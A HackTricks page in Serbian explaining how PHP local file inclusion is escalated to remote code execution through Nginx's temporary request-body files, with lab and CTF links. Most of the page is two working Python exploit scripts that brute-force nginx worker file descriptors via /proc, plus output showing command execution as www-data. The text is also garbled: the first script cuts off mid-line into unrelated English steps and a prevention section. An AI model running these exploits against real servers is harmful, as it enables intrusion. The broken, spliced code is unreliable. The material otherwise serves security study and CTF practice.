# LFI2RCE putem Nginx privremenih fajlova
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
## Ranjiva konfiguracija **[Primer sa https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)** * PHP kod: ``` /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... ``` Napomena: U ovom primeru nije moguće direktno uključiti `/proc/34/fd/15`, jer bi PHP-ova `include` funkcija razrešila putanju u `/var/lib/nginx/body/0000001368 (obrisano)`, koja ne postoji u fajl sistemu. Srećom, ovu manju restrikciju možemo zaobići korišćenjem neke vrste indirekcije kao što je `/proc/self/fd/34/../../../34/fd/15`, što će na kraju izvršiti sadržaj obrisanog fajla `/var/lib/nginx/body/0000001368`. ## Potpuna eksploatacija ```python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv[1]}:{sys.argv[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid_max' }) pid_max = int(r.text) print(f'[*] cpus: {cpus}; pid_max: {pid_max}') nginx_workers = [] for pid in range(pid_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'[*] nginx worker found: {pid}') nginx_workers.append(pid) if len(nginx_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('[+] starting uploader') while not done: requests.get(URL, data=' ``` 4. Use the LFI vulnerability to include the crafted payload into a PHP file on the target server. 5. Trigger the inclusion of the PHP file containing the payload. 6. The payload will be executed by the server, resulting in remote code execution. ## Prevention To prevent this type of attack, it is recommended to: - Regularly update Nginx to the latest version. - Restrict access to the Nginx temporary directory. - Implement input validation and sanitization to prevent LFI vulnerabilities. - Use a Web Application Firewall (WAF) to detect and block malicious requests. ## References - [https://www.nginx.com/](https://www.nginx.com/) - [https://owasp.org/www-project-top-ten/](https://owasp.org/www-project-top-ten/) ``` $ ./pwn.py 127.0.0.1 1337 [*] cpus: 2; pid_max: 32768 [*] nginx worker found: 33 [*] nginx worker found: 34 [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] starting uploader [+] brute loop restarted: 33 [+] brute loop restarted: 34 [!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### Još jedan eksploit Ovo je sa [https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/) ```python import requests import threading import multiprocessing import threading import random SERVER = "http://localhost:8088" NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41]) # Set the following to True to use the above set of PIDs instead of scanning: USE_NGINX_PIDS_CACHE = False def create_requests_session(): session = requests.Session() # Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000) session.mount('http://', adapter) return session def get_nginx_pids(requests_session): if USE_NGINX_PIDS_CACHE: return NGINX_PIDS_CACHE nginx_pids = set() # Scan up to PID 200 for i in range(1, 200): cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text if cmdline.startswith("nginx: worker process"): nginx_pids.add(i) return nginx_pids def send_payload(requests_session, body_size=1024000): try: # The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast payload = ' //' requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload))))) except: pass def send_payload_worker(requests_session): while True: send_payload(requests_session) def send_payload_multiprocess(requests_session): # Use all CPUs to send the payload as request body for Nginx for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start() def generate_random_path_prefix(nginx_pids): # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc//cwd/proc//root/proc//root path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d) def read_file_worker(requests_session, nginx_pid, nginx_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start() def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start() if __name__ == "__main__": print('[DEBUG] Creating requests session') requests_session = create_requests_session() print('[DEBUG] Getting Nginx pids') nginx_pids = get_nginx_pids(requests_session) print(f'[DEBUG] Nginx pids: {nginx_pids}') print('[DEBUG] Starting payload sending') send_payload_multiprocess(requests_session) print('[DEBUG] Starting fd readers') read_file_multiprocess(requests_session, nginx_pids) ``` ## Laboratorije * [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz) * [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/) * [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/) ## Reference * [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.